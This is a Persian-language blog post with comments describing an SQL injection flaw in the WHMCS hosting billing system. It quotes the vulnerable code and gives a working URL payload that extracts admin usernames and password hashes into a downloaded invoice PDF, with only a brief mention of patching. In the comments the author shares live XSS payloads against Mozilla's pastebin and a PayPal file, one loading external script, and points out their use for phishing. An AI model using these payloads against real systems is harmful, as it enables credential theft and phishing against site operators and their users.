چرک نویس هذیون ها

چرک نویس هذیون ها

ما زنده به آنیم که آرام نگیریم. موجیم که آسودگی ما عدم ماست...

از زبان کاربران

Protected by Copyscape Online Plagiarism Detector

آسیب پذیری جدی SQLi در WHMCS

شنبه, ۲۸ ارديبهشت ۱۳۹۲

دوستان اعتراض کردن به اینکه چرا همیشه XSS پست میکنم ! ولی باید به این دوستان بگم که به قول دوستمون شما نمیدونید XSS چیه که همه عالم دیوانه اوست ! امروز یه آسیب پذیری در سیستم WHMCS میخوام بهتون معرفی کنم . همانطور که میدونید سایت های هاستینگ خیلی زیادی از این سیستم استفاده میکنن ! (شاید بیش از 300.000 تا ) . این باگ که از نوع SQL Injection هست در فایل  "/includes/invoicefunctions.php" بوجود آمده است . قسمتی از کدهای این فایل که باعث بوجود اومدن آسیب پذیری شده :

    LINE 582: function pdfInvoice($id)
      LINE 583: {
      LINE 686: if ($CONFIG['GroupSimilarLineItems'])
      LINE 687: {
      LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
      LINE 689: }
   

 

در این کد میتونیم ببینیم که آرگومنت ID$ از فانکشن pdfInvoice به صورت مستقیم از کوئری Mysql استفاده کرده که البته بدون هیچ مانعی منجر به تزریق SQL میشه .

به نظر میرسه که فانکشن pdfinvoice توسط فایل "/dl.php" فراخوانی میشه ! ( در کد زیر مشاهده کنید : )

 


      LINE 21: if ($type == 'i')
      LINE 22: {
      LINE 23: $result     = select_query('tblinvoices', '', array(
      LINE 24: 'id' => $id
      LINE 25: ));
      LINE 26: $data       = mysql_fetch_array($result);
      LINE 27: $invoiceid  = $data['id'];
      LINE 28: $invoicenum = $data['invoicenum'];
      LINE 29: $userid     = $data['userid'];
      LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
      LINE 31: {
      LINE 32: downloadLogin();
      LINE 33: }
      LINE 34: if (!$invoicenum)
      LINE 35: {
      LINE 36: $invoicenum = $invoiceid;
      LINE 37: }
      LINE 38: require('includes/clientfunctions.php');
      LINE 39: require('includes/countries.php');
      LINE 40: require('includes/invoicefunctions.php');
      LINE 41: require('includes/tcpdf.php');
      LINE 42: $pdfdata = pdfInvoice($id);
      LINE 43: header('Pragma: public');
      LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
      LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
      LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
      LINE 47: header('Cache-Control: private', false);
      LINE 48: header('Content-Type: application/octet-stream');
      LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
      LINE 50: header('Content-Transfer-Encoding: binary');
      LINE 51: echo $pdfdata;
      LINE 52: exit();
      LINE 53: return 1;
      LINE 54: }

در خط 42 قابل مشاهده است که فانکشن pdfInvoice فراخوانی می شود و سرانجام ID$ بدون هیچ مانعی تابع شناخته میشه و پس از آن فایل pdf را ساخته و مرورگر آن را دانلود می کند 

بنابراین برای دانلود یوزرنیم و پسورد در فایل PDF می توانید از دستور های زیر استفاده کنید :

 

http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --

و مرورگر شما فایل سفارش را به صورت PDF دانلود میکنه که یوزرنیم و پسورد به صورت Hash شده در اون قرار داره .

 

تبریک میگم ! شما این باگ رو اکسپلویت کردید و Bypass شد !

 

برای Fix یا Patch کردن باگ یا میتوانید این فایل را ویرایش کنید و یا WHMCS خود را آپدیت کنید .

نظرات  (۳)

اگر این xss پدرسوخته رو بشناسید دیگه سراغ SQLI و اینا نمیرید :دی

بازم دمت Hot آقا سینا ، پستت بیست ;)
پاسخ:
مرسی آدم چیز فهم <3
اگه به لینکی که تو قسمت سایت گذاشتم برید یه سری مطالب راجب xss گذاشتم ولی کار شما هم خیلی درسته
:ایکس :اس :اس (:دی)
پاسخ:
مطالبتون رو خوندم . خوشحالم که کم کم باگ XSS داره رواج پیدا میکنه . اما متاسفانه هنوز در خیلی از سایت های بزرگ تو دنیا این باگ وجود داره . اینطور که دیدم طرز کار کردن با این باگ رو بلدی . پس اگه دوست داشتی استفاده کن :

http://pastebin.mozilla.org/?help=1&goprivate=/"><script>alert('Xss By Atm0n3r')</script><script
type="text/javascript" src="http://yourjavascript.com/27544112151/xss.atmon3r.js"></script>&go=Go

 https://cms.paypal.com/cms_content/US/en_US/files/marketing_us/pp101_HowPPWorks_player.swf?config=%3
CIMG%20SRC=%22http://demo.offcon.org/test.PNG%22%3E&debug=false

باگ دوم که از paypal هست کمترین استفاده اش حملات فیشینگه !

موفق و پیروز باشی
ممنون لینک های ارزشمندی بودن 100% استفاده می کنم سینا جان ;-)

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
تجدید کد امنیتی